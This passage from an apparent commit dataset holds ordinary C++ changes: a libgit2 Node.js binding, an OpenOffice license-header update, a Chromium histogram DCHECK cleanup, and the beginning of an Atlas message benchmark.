scope;\n\n\tREQ_ARGS(1);\n\tREQ_OID_ARG(0, tagOid);\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_tag *tag;\n\tint res = git_tag_lookup(&tag, repo->repo_, &tagOid);\n\tif(res != GIT_SUCCESS)\n\t\tTHROW_GIT_ERROR(\"Couldn't get tag.\", res);\n\n\tTag *tagObj = repo->wrapTag(tag);\n\treturn scope.Close(tagObj->handle_);\n}\n\nHandle<Value> Repository::GetRawObject(const Arguments& args) {\n\tHandleScope scope;\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tREQ_ARGS(1);\n\tREQ_OID_ARG(0, oid);\n\n\tgit_rawobj *obj = new git_rawobj;\n\tint res = git_odb_read(obj, repo->odb_, &oid);\n\tif(res != GIT_SUCCESS) {\n\t\tTHROW_GIT_ERROR(\"Couldn't load raw object.\", res);\n\t}\n\n\tLocal<Value> arg = External::New(obj);\n\tPersistent<Object> result(RawObject::constructor_template->GetFunction()->NewInstance(1, &arg));\n\treturn scope.Close(result);\n}\n\nHandle<Value> Repository::CreateRawObject(const Arguments& args) {\n\tHandleScope scope;\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\t\/\/ Initialize a new rawobj.\n\tgit_rawobj *rawObj = new git_rawobj;\n\trawObj->len = 0;\n\trawObj->type = GIT_OBJ_BAD;\n\n\tHandle<Value> constructorArgs[1] = { External::New(rawObj) };\n\tHandle<Object> jsObject = RawObject::constructor_template->GetFunction()->NewInstance(1, constructorArgs);\n\n\tRawObject *rawObjObj = ObjectWrap::Unwrap<RawObject>(jsObject);\n\trawObjObj->repository_ = repo;\n\treturn scope.Close(jsObject);\n}\n\nHandle<Value> Repository::CreateWalker(const Arguments& args) {\n\tHandleScope scope;\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_revwalk *walker;\n\tint res = git_revwalk_new(&walker, repo->repo_);\n\tif(res != GIT_SUCCESS) {\n\t\tTHROW_GIT_ERROR(\"Couldn't create revision walker\", res);\n\t}\n\n\tHandle<Value> constructorArgs[2] = { External::New(walker), External::New(repo) };\n\tHandle<Object> instance = RevWalker::constructor_template->GetFunction()->NewInstance(2, constructorArgs);\n\t\n\tRevWalker *walkerObject = ObjectWrap::Unwrap<RevWalker>(instance);\n\treturn scope.Close(walkerObject->handle_);\n}\n\nHandle<Value> Repository::IndexGetter(Local<String>, const AccessorInfo& info) {\n\tHandleScope scope;\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(info.This());\n\tif(repo->index_ == NULL) {\n\t\tgit_index *index;\n\t\tint result = git_repository_index(&index, repo->repo_);\n\t\tif(result == GIT_EBAREINDEX) {\n\t\t\tgit_index_open_bare(&index, repo->path_);\n\t\t}\n\n\t\tHandle<Value> arg = External::New(index);\n\t\tHandle<Object> instance = Index::constructor_template->GetFunction()->NewInstance(1, &arg);\n\t\trepo->index_ = ObjectWrap::Unwrap<Index>(instance);\n\t}\n\n\treturn repo->index_->handle_;\n}\n\nHandle<Value> Repository::CreateTag(const Arguments& args) {\n\tHandleScope scope;\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_tag *tag;\n\tint res = git_tag_new(&tag, repo->repo_);\n\tif(res != GIT_SUCCESS)\n\t\tTHROW_GIT_ERROR(\"Couldn't create new tag.\", res);\n\n\tTag *tagObject = repo->wrapTag(tag);\n\treturn scope.Close(tagObject->handle_);\n}\n\nHandle<Value> Repository::CreateTree(const Arguments& args) {\n\tHandleScope scope;\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_tree *tree;\n\tint res = git_tree_new(&tree, repo->repo_);\n\tif(res != GIT_SUCCESS)\n\t\tTHROW_GIT_ERROR(\"Couldn't create tree.\", res);\n\n\tTree *treeObject = repo->wrapTree(tree);\n\treturn treeObject->handle_;\n}\n\nHandle<Value> Repository::CreateCommit(const Arguments& args) {\n\tHandleScope scope;\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_commit *commit;\n\tint result = git_commit_new(&commit, repo->repo_);\n\n\tif(result != GIT_SUCCESS) {\n\t\t\/\/ TODO: error handling.\n\t\treturn Null();\n\t}\n\n\tCommit *commitObject = repo->wrapCommit(commit);\n\treturn scope.Close(commitObject->handle_);\n}\n\nHandle<Value> Repository::GetReference(const Arguments& args) {\n\tHandleScope scope;\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tREQ_ARGS(1);\n\tREQ_STR_ARG(0, referenceName);\n\n\tgit_reference *reference;\n\tint result = git_reference_lookup(&reference, repo->repo_, *referenceName);\n\tif(result != GIT_SUCCESS)\n\t\tTHROW_GIT_ERROR(\"Failed to load ref.\", result);\n\n\tReference *refObj = repo->wrapReference(reference);\n\treturn scope.Close(refObj->handle_);\n}\n\nHandle<Value> Repository::CreateSymbolicRef(const Arguments& args) {\n\tHandleScope scope;\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tREQ_ARGS(2);\n\tREQ_STR_ARG(0, nameArg);\n\tREQ_STR_ARG(1, targetArg);\n\n\tif(!nameArg.length()) {\n\t\tTHROW_ERROR(\"Please provide a name.\");\n\t}\n\n\tif(!targetArg.length()) {\n\t\tTHROW_ERROR(\"Please provide a target for the symbolic ref.\");\n\t}\n\n\tgit_reference *ref;\n\tint res = git_reference_create_symbolic(&ref, repo->repo_, *nameArg, *targetArg);\n\n\tif(res != GIT_SUCCESS) {\n\t\tTHROW_GIT_ERROR(\"Couldn't create reference.\", res);\n\t}\n\n\tReference *refObj = repo->wrapReference(ref);\n\treturn scope.Close(refObj->handle_);\n}\n\nHandle<Value> Repository::CreateOidRef(const Arguments& args) {\n\tHandleScope scope;\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tREQ_ARGS(2);\n\tREQ_STR_ARG(0, nameArg);\n\tREQ_OID_ARG(1, oidArg);\n\n\tif(!nameArg.length()) {\n\t\tTHROW_ERROR(\"Please provide a name.\");\n\t}\n\n\tgit_reference *ref;\n\tint res = git_reference_create_oid(&ref, repo->repo_, *nameArg, &oidArg);\n\tif(res != GIT_SUCCESS) {\n\t\tTHROW_GIT_ERROR(\"Couldn't create reference.\", res);\n\t}\n\n\tReference *refObj = repo->wrapReference(ref);\n\treturn scope.Close(refObj->handle_);\n}\n\nHandle<Value> Repository::Exists(const Arguments& args) {\n\tHandleScope scope;\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tREQ_ARGS(1);\n\tREQ_OID_ARG(0, objOid);\n\n\treturn Boolean::New(git_odb_exists(repo->odb_, &objOid));\n}\n\nRepository::~Repository() {\n\tclose();\n}\n\nvoid Repository::close() {\n\tif(repo_) {\n\t\tgit_repository_free(repo_);\n\t\trepo_ = NULL;\n\t}\n}\n\nCommit *Repository::wrapCommit(git_commit *commit) {\n\tCommit *commitObject;\n\tif(commitStore_.getObjectFor(commit, &commitObject)) {\n\t\t\/\/ Commit needs to know who it's daddy is.\n\t\tcommitObject->repository_ = this;\n\t}\n\n\treturn commitObject;\n}\n\nTree *Repository::wrapTree(git_tree *tree) {\n\tTree *treeObject;\n\tif(treeStore_.getObjectFor(tree, &treeObject)) {\n\t\ttreeObject->repository_ = this;\n\t}\n\n\treturn treeObject;\n}\n\nTag *Repository::wrapTag(git_tag *tag) {\n\tTag *tagObject;\n\tif(tagStore_.getObjectFor(tag, &tagObject)) {\n\t\ttagObject->repository_ = this;\n\t}\n\n\treturn tagObject;\n}\n\nReference *Repository::wrapReference(git_reference *ref) {\n\tReference *refObj;\n\tif(refStore_.getObjectFor(ref, &refObj)) {\n\t\trefObj->repository_ = this;\n\t}\n\t\n\treturn refObj;\n}\n\n} \/\/ namespace gitteh\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: propbrw.hxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: kz $ $Date: 2008-03-06 19:15:10 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _BASCTL_PROPBRW_HXX\n#define _BASCTL_PROPBRW_HXX\n\n#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#endif\n\n#ifndef _COM_SUN_STAR_BEANS_XPROPERTYSET_HPP_\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#endif\n\n#ifndef _COM_SUN_STAR_AWT_XCONTROLCONTAINER_HPP_\n#include <com\/sun\/star\/awt\/XControlContainer.hpp>\n#endif\n\n#ifndef _COM_SUN_STAR_FRAME_XFRAME_HPP_\n#include <com\/sun\/star\/frame\/XFrame.hpp>\n#endif\n\n#ifndef _COMPHELPER_COMPOSEDPROPS_HXX_\n#include <comphelper\/composedprops.hxx>\n#endif\n\n#ifndef _BASEDLGS_HXX\n#include <sfx2\/basedlgs.hxx>\n#endif\n\n#ifndef _SFXBRDCST_HXX \/\/autogen\n#include <svtools\/brdcst.hxx>\n#endif\n\n#ifndef _SFXLSTNER_HXX \/\/autogen\n#include <svtools\/lstner.hxx>\n#endif\n\n#ifndef _SFX_CHILDWIN_HXX\n#include <sfx2\/childwin.hxx>\n#endif\n\n#ifndef _SVDMARK_HXX \/\/autogen\n#include <svx\/svdmark.hxx>\n#endif\n\n\/\/============================================================================\n\/\/ PropBrwMgr\n\/\/============================================================================\n\nclass PropBrwMgr : public SfxChildWindow\n{\npublic:\n    PropBrwMgr(Window *pParent, sal_uInt16 nId, SfxBindings *pBindings, SfxChildWinInfo *pInfo);\n    SFX_DECL_CHILDWINDOW(PropBrwMgr);\n};\n\n\/\/============================================================================\n\/\/ PropBrw\n\/\/============================================================================\n\nclass SfxBindings;\nclass SdrView;\n\nclass PropBrw : public SfxFloatingWindow , public SfxListener, public SfxBroadcaster\n{\nprivate:\n    sal_Bool        m_bInitialStateChange;\n\n    ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >\n                    m_xORB;\n    ::com::sun::star::uno::Reference< ::com::sun::star::frame::XFrame >\n                    m_xMeAsFrame;\n    ::com::sun::star::uno::Reference< ::com::sun::star::beans::XPropertySet >\n                    m_xBrowserController;\n    ::com::sun::star::uno::Reference< ::com::sun::star::awt::XWindow >\n                    m_xBrowserComponentWindow;\n    ::com::sun::star::uno::Reference< ::com::sun::star::frame::XModel >\n                    m_xContextDocument;\n\nprotected:\n    SdrView*        pView;\n    virtual void Resize();\n    virtual void FillInfo( SfxChildWinInfo& rInfo ) const;\n    virtual sal_Bool Close();\n\n    DECLARE_STL_VECTOR(::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface>, InterfaceArray);\n\n    ::com::sun::star::uno::Sequence< ::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface > >\n        CreateMultiSelectionSequence( const SdrMarkList& _rMarkList );\n    void implSetNewObjectSequence( const ::com::sun::star::uno::Sequence\n        < ::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface > >& _rObjectSeq );\n\n    void implSetNewObject(\n        const ::com::sun::star::uno::Reference< ::com::sun::star::beans::XPropertySet >& _rxObject);\n\n    ::rtl::OUString GetHeadlineName(\n        const ::com::sun::star::uno::Reference< ::com::sun::star::beans::XPropertySet >& _rxObject);\n\npublic:\n    PropBrw( const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >& _xORB,\n             SfxBindings *pBindings,\n             PropBrwMgr* pMgr,\n             Window* pParent,\n             const ::com::sun::star::uno::Reference< ::com::sun::star::frame::XModel >& _rxContextDocument\n    );\n    virtual ~PropBrw();\n    using Window::Update;\n    \/\/ note: changing the Context document to an instance other than the one given in the ctor is not supported\n    \/\/ currently\n    void    Update( const SfxViewShell* _pShell );\n    SdrView*        GetCurView() const { return pView; }\n\nprivate:\n    void    ImplUpdate( const ::com::sun::star::uno::Reference< ::com::sun::star::frame::XModel >& _rxContextDocument, SdrView* pView );\n    void    ImplDestroyController();\n    void    ImplReCreateController();\n};\n\n#endif \/\/ _BASCTL_PROPBRW_HXX\n<commit_msg>INTEGRATION: CWS changefileheader (1.7.2); FILE MERGED 2008\/04\/01 15:00:42 thb 1.7.2.3: #i85898# Stripping all external header guards 2008\/04\/01 10:47:48 thb 1.7.2.2: #i85898# Stripping all external header guards 2008\/03\/28 16:05:06 rt 1.7.2.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: propbrw.hxx,v $\n * $Revision: 1.8 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#ifndef _BASCTL_PROPBRW_HXX\n#define _BASCTL_PROPBRW_HXX\n\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#include <com\/sun\/star\/awt\/XControlContainer.hpp>\n#include <com\/sun\/star\/frame\/XFrame.hpp>\n#include <comphelper\/composedprops.hxx>\n#include <sfx2\/basedlgs.hxx>\n#include <svtools\/brdcst.hxx>\n#include <svtools\/lstner.hxx>\n#include <sfx2\/childwin.hxx>\n#include <svx\/svdmark.hxx>\n\n\/\/============================================================================\n\/\/ PropBrwMgr\n\/\/============================================================================\n\nclass PropBrwMgr : public SfxChildWindow\n{\npublic:\n    PropBrwMgr(Window *pParent, sal_uInt16 nId, SfxBindings *pBindings, SfxChildWinInfo *pInfo);\n    SFX_DECL_CHILDWINDOW(PropBrwMgr);\n};\n\n\/\/============================================================================\n\/\/ PropBrw\n\/\/============================================================================\n\nclass SfxBindings;\nclass SdrView;\n\nclass PropBrw : public SfxFloatingWindow , public SfxListener, public SfxBroadcaster\n{\nprivate:\n    sal_Bool        m_bInitialStateChange;\n\n    ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >\n                    m_xORB;\n    ::com::sun::star::uno::Reference< ::com::sun::star::frame::XFrame >\n                    m_xMeAsFrame;\n    ::com::sun::star::uno::Reference< ::com::sun::star::beans::XPropertySet >\n                    m_xBrowserController;\n    ::com::sun::star::uno::Reference< ::com::sun::star::awt::XWindow >\n                    m_xBrowserComponentWindow;\n    ::com::sun::star::uno::Reference< ::com::sun::star::frame::XModel >\n                    m_xContextDocument;\n\nprotected:\n    SdrView*        pView;\n    virtual void Resize();\n    virtual void FillInfo( SfxChildWinInfo& rInfo ) const;\n    virtual sal_Bool Close();\n\n    DECLARE_STL_VECTOR(::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface>, InterfaceArray);\n\n    ::com::sun::star::uno::Sequence< ::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface > >\n        CreateMultiSelectionSequence( const SdrMarkList& _rMarkList );\n    void implSetNewObjectSequence( const ::com::sun::star::uno::Sequence\n        < ::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface > >& _rObjectSeq );\n\n    void implSetNewObject(\n        const ::com::sun::star::uno::Reference< ::com::sun::star::beans::XPropertySet >& _rxObject);\n\n    ::rtl::OUString GetHeadlineName(\n        const ::com::sun::star::uno::Reference< ::com::sun::star::beans::XPropertySet >& _rxObject);\n\npublic:\n    PropBrw( const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >& _xORB,\n             SfxBindings *pBindings,\n             PropBrwMgr* pMgr,\n             Window* pParent,\n             const ::com::sun::star::uno::Reference< ::com::sun::star::frame::XModel >& _rxContextDocument\n    );\n    virtual ~PropBrw();\n    using Window::Update;\n    \/\/ note: changing the Context document to an instance other than the one given in the ctor is not supported\n    \/\/ currently\n    void    Update( const SfxViewShell* _pShell );\n    SdrView*        GetCurView() const { return pView; }\n\nprivate:\n    void    ImplUpdate( const ::com::sun::star::uno::Reference< ::com::sun::star::frame::XModel >& _rxContextDocument, SdrView* pView );\n    void    ImplDestroyController();\n    void    ImplReCreateController();\n};\n\n#endif \/\/ _BASCTL_PROPBRW_HXX\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/metrics\/sample_vector.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/metrics\/bucket_ranges.h\"\n\nusing std::vector;\n\nnamespace base {\n\ntypedef HistogramBase::Count Count;\ntypedef HistogramBase::Sample Sample;\n\nSampleVector::SampleVector(const BucketRanges* bucket_ranges)\n    : counts_(bucket_ranges->size() - 1),\n      bucket_ranges_(bucket_ranges) {\n  CHECK_GE(bucket_ranges_->size(), 2u);\n}\n\nSampleVector::~SampleVector() {}\n\nvoid SampleVector::Accumulate(Sample value, Count count) {\n  size_t bucket_index = GetBucketIndex(value);\n  counts_[bucket_index] += count;\n  IncreaseSum(count * value);\n  IncreaseRedundantCount(count);\n}\n\nCount SampleVector::GetCount(Sample value) const {\n  size_t bucket_index = GetBucketIndex(value);\n  return counts_[bucket_index];\n}\n\nCount SampleVector::TotalCount() const {\n  Count count = 0;\n  for (size_t i = 0; i < counts_.size(); i++) {\n    count += counts_[i];\n  }\n  return count;\n}\n\nCount SampleVector::GetCountAtIndex(size_t bucket_index) const {\n  DCHECK(bucket_index >= 0 && bucket_index < counts_.size());\n  return counts_[bucket_index];\n}\n\nscoped_ptr<SampleCountIterator> SampleVector::Iterator() const {\n  return scoped_ptr<SampleCountIterator>(\n      new SampleVectorIterator(&counts_, bucket_ranges_));\n}\n\nbool SampleVector::AddSubtractImpl(SampleCountIterator* iter,\n                                   HistogramSamples::Operator op) {\n  HistogramBase::Sample min;\n  HistogramBase::Sample max;\n  HistogramBase::Count count;\n\n  \/\/ Go through the iterator and add the counts into correct bucket.\n  size_t index = 0;\n  while (index < counts_.size() && !iter->Done()) {\n    iter->Get(&min, &max, &count);\n    if (min == bucket_ranges_->range(index) &&\n        max == bucket_ranges_->range(index + 1)) {\n      \/\/ Sample matches this bucket!\n      counts_[index] += (op ==  HistogramSamples::ADD) ? count : -count;\n      iter->Next();\n    } else if (min > bucket_ranges_->range(index)) {\n      \/\/ Sample is larger than current bucket range. Try next.\n      index++;\n    } else {\n      \/\/ Sample is smaller than current bucket range. We scan buckets from\n      \/\/ smallest to largest, so the sample value must be invalid.\n      return false;\n    }\n  }\n\n  return iter->Done();\n}\n\n\/\/ Use simple binary search.  This is very general, but there are better\n\/\/ approaches if we knew that the buckets were linearly distributed.\nsize_t SampleVector::GetBucketIndex(Sample value) const {\n  size_t bucket_count = bucket_ranges_->size() - 1;\n  CHECK_GE(bucket_count, 1u);\n  CHECK_GE(value, bucket_ranges_->range(0));\n  CHECK_LT(value, bucket_ranges_->range(bucket_count));\n\n  size_t under = 0;\n  size_t over = bucket_count;\n  size_t mid;\n  do {\n    DCHECK_GE(over, under);\n    mid = under + (over - under)\/2;\n    if (mid == under)\n      break;\n    if (bucket_ranges_->range(mid) <= value)\n      under = mid;\n    else\n      over = mid;\n  } while (true);\n\n  DCHECK_LE(bucket_ranges_->range(mid), value);\n  CHECK_GT(bucket_ranges_->range(mid + 1), value);\n  return mid;\n}\n\nSampleVectorIterator::SampleVectorIterator(const vector<Count>* counts,\n                                           const BucketRanges* bucket_ranges)\n    : counts_(counts),\n      bucket_ranges_(bucket_ranges),\n      index_(0) {\n  CHECK_GT(bucket_ranges_->size(), counts_->size());\n  SkipEmptyBuckets();\n}\n\nSampleVectorIterator::~SampleVectorIterator() {}\n\nbool SampleVectorIterator::Done() const {\n  return index_ >= counts_->size();\n}\n\nvoid SampleVectorIterator::Next() {\n  DCHECK(!Done());\n  index_++;\n  SkipEmptyBuckets();\n}\n\nvoid SampleVectorIterator::Get(HistogramBase::Sample* min,\n                               HistogramBase::Sample* max,\n                               HistogramBase::Count* count) const {\n  DCHECK(!Done());\n  if (min != NULL)\n    *min = bucket_ranges_->range(index_);\n  if (max != NULL)\n    *max = bucket_ranges_->range(index_ + 1);\n  if (count != NULL)\n    *count = (*counts_)[index_];\n}\n\nbool SampleVectorIterator::GetBucketIndex(size_t* index) const {\n  DCHECK(!Done());\n  if (index != NULL)\n    *index = index_;\n  return true;\n}\n\nvoid SampleVectorIterator::SkipEmptyBuckets() {\n  if (Done())\n    return;\n\n  while (index_ < counts_->size()) {\n    if ((*counts_)[index_] != 0)\n      return;\n    index_++;\n  }\n}\n\n}  \/\/ namespace base\n<commit_msg>remove redundant DCHECK that a size_t variable >= 0<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/metrics\/sample_vector.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/metrics\/bucket_ranges.h\"\n\nusing std::vector;\n\nnamespace base {\n\ntypedef HistogramBase::Count Count;\ntypedef HistogramBase::Sample Sample;\n\nSampleVector::SampleVector(const BucketRanges* bucket_ranges)\n    : counts_(bucket_ranges->size() - 1),\n      bucket_ranges_(bucket_ranges) {\n  CHECK_GE(bucket_ranges_->size(), 2u);\n}\n\nSampleVector::~SampleVector() {}\n\nvoid SampleVector::Accumulate(Sample value, Count count) {\n  size_t bucket_index = GetBucketIndex(value);\n  counts_[bucket_index] += count;\n  IncreaseSum(count * value);\n  IncreaseRedundantCount(count);\n}\n\nCount SampleVector::GetCount(Sample value) const {\n  size_t bucket_index = GetBucketIndex(value);\n  return counts_[bucket_index];\n}\n\nCount SampleVector::TotalCount() const {\n  Count count = 0;\n  for (size_t i = 0; i < counts_.size(); i++) {\n    count += counts_[i];\n  }\n  return count;\n}\n\nCount SampleVector::GetCountAtIndex(size_t bucket_index) const {\n  DCHECK(bucket_index < counts_.size());\n  return counts_[bucket_index];\n}\n\nscoped_ptr<SampleCountIterator> SampleVector::Iterator() const {\n  return scoped_ptr<SampleCountIterator>(\n      new SampleVectorIterator(&counts_, bucket_ranges_));\n}\n\nbool SampleVector::AddSubtractImpl(SampleCountIterator* iter,\n                                   HistogramSamples::Operator op) {\n  HistogramBase::Sample min;\n  HistogramBase::Sample max;\n  HistogramBase::Count count;\n\n  \/\/ Go through the iterator and add the counts into correct bucket.\n  size_t index = 0;\n  while (index < counts_.size() && !iter->Done()) {\n    iter->Get(&min, &max, &count);\n    if (min == bucket_ranges_->range(index) &&\n        max == bucket_ranges_->range(index + 1)) {\n      \/\/ Sample matches this bucket!\n      counts_[index] += (op ==  HistogramSamples::ADD) ? count : -count;\n      iter->Next();\n    } else if (min > bucket_ranges_->range(index)) {\n      \/\/ Sample is larger than current bucket range. Try next.\n      index++;\n    } else {\n      \/\/ Sample is smaller than current bucket range. We scan buckets from\n      \/\/ smallest to largest, so the sample value must be invalid.\n      return false;\n    }\n  }\n\n  return iter->Done();\n}\n\n\/\/ Use simple binary search.  This is very general, but there are better\n\/\/ approaches if we knew that the buckets were linearly distributed.\nsize_t SampleVector::GetBucketIndex(Sample value) const {\n  size_t bucket_count = bucket_ranges_->size() - 1;\n  CHECK_GE(bucket_count, 1u);\n  CHECK_GE(value, bucket_ranges_->range(0));\n  CHECK_LT(value, bucket_ranges_->range(bucket_count));\n\n  size_t under = 0;\n  size_t over = bucket_count;\n  size_t mid;\n  do {\n    DCHECK_GE(over, under);\n    mid = under + (over - under)\/2;\n    if (mid == under)\n      break;\n    if (bucket_ranges_->range(mid) <= value)\n      under = mid;\n    else\n      over = mid;\n  } while (true);\n\n  DCHECK_LE(bucket_ranges_->range(mid), value);\n  CHECK_GT(bucket_ranges_->range(mid + 1), value);\n  return mid;\n}\n\nSampleVectorIterator::SampleVectorIterator(const vector<Count>* counts,\n                                           const BucketRanges* bucket_ranges)\n    : counts_(counts),\n      bucket_ranges_(bucket_ranges),\n      index_(0) {\n  CHECK_GT(bucket_ranges_->size(), counts_->size());\n  SkipEmptyBuckets();\n}\n\nSampleVectorIterator::~SampleVectorIterator() {}\n\nbool SampleVectorIterator::Done() const {\n  return index_ >= counts_->size();\n}\n\nvoid SampleVectorIterator::Next() {\n  DCHECK(!Done());\n  index_++;\n  SkipEmptyBuckets();\n}\n\nvoid SampleVectorIterator::Get(HistogramBase::Sample* min,\n                               HistogramBase::Sample* max,\n                               HistogramBase::Count* count) const {\n  DCHECK(!Done());\n  if (min != NULL)\n    *min = bucket_ranges_->range(index_);\n  if (max != NULL)\n    *max = bucket_ranges_->range(index_ + 1);\n  if (count != NULL)\n    *count = (*counts_)[index_];\n}\n\nbool SampleVectorIterator::GetBucketIndex(size_t* index) const {\n  DCHECK(!Done());\n  if (index != NULL)\n    *index = index_;\n  return true;\n}\n\nvoid SampleVectorIterator::SkipEmptyBuckets() {\n  if (Done())\n    return;\n\n  while (index_ < counts_->size()) {\n    if ((*counts_)[index_] != 0)\n      return;\n    index_++;\n  }\n}\n\n}  \/\/ namespace base\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>bug fix<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"timer.h\"\n\n#include <iostream>\n#include <sstream>\n#include <cassert>\n\n#include <Atlas\/Codecs\/Packed.h>\n#include <Atlas\/Codecs\/XML.h>\n#include <Atlas\/Objects\/Operation.h>\n#include <Atlas\/Objects\/Encoder.h>\n#include <Atlas\/Message\/QueuedDecoder.h>\n#include <Atlas\/Message\/MEncoder.h>\n#include <Atlas\/Objects\/Entity.h>\n\nusing Atlas::Message::Element;\nusing Atlas::Message::MapType;\nusing Atlas::Message::ListType;\n\nint main(int argc, char** argv)\n{\n    long long i;\n\n    Atlas::Objects::Entity::Anonymous anon;\n    anon->setLoc(\"12345\");\n    ListType velocity;\n    velocity.push_back(1.4);\n    velocity.push_back(2.4);\n    velocity.push_back(3.4);\n    anon->setVelocityAsList(velocity);\n    ListType bbox;\n    bbox.push_back(1.4);\n    bbox.push_back(2.4);\n    bbox.push_back(3.4);\n    bbox.push_back(2.4);\n    anon->setAttr(\"bbox\", bbox);\n\n    Atlas::Objects::Operation::Move move;\n    move->setFrom(\"123456\");\n    move->setTo(\"123456\");\n    move->setSeconds(12345678);\n    move->setId(\"123456\");\n    move->setArgs1(anon);\n\n    Atlas::Objects::Operation::Sight sight;\n    sight->setFrom(\"123456\");\n    sight->setTo(\"123456\");\n    sight->setSeconds(12345678);\n    sight->setId(\"123456\");\n    sight->setArgs1(move);\n\n    const MapType map = sight->asMessage();\n\n    std::string message;\n\n    \/\/Warm up process first\n    for (i = 0; i < 100000000; i += 1) {\n        Atlas::Message::Element element;\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1) {\n            Atlas::Message::Element element(\n                    std::string(\n                            \"fdf adda ds dsafds asdfdasdsafdsdsaffdsdsadsafdds a dsf dsdfsads fdsads adsasa\"));\n        }\n        TIME_OFF(\"Element string ctor\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1) {\n            Atlas::Message::Element element;\n            element =\n                    std::string(\n                            \"fdf adda ds dsafds asdfdasdsafdsdsaffdsdsadsafdds a dsf dsdfsads fdsads adsasa\");\n        }\n        TIME_OFF(\"Element string rvalue assign\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1) {\n            Atlas::Message::Element element;\n            const std::string aString(\n                    \"fdf adda ds dsafds asdfdasdsafdsdsaffdsdsadsafdds a dsf dsdfsads fdsads adsasa\");\n            element = aString;\n        }\n        TIME_OFF(\"Element string assign\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1) {\n            Atlas::Message::Element element;\n            std::string aString(\n                    \"fdf adda ds dsafds asdfdasdsafdsdsaffdsdsadsafdds a dsf dsdfsads fdsads adsasa\");\n            element = std::move(aString);\n        }\n        TIME_OFF(\"Element string move assign\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1) {\n            Atlas::Message::Element element(\n                    \"fdf adda ds dsafds asdfdasdsafdsdsaffdsdsadsafdds a dsf dsdfsads fdsads adsasa\");\n        }\n        TIME_OFF(\"Element char* ctor\");\n    }\n\n    {\n        TIME_ON\n        for (i = 0; i < 1000000; i += 1) 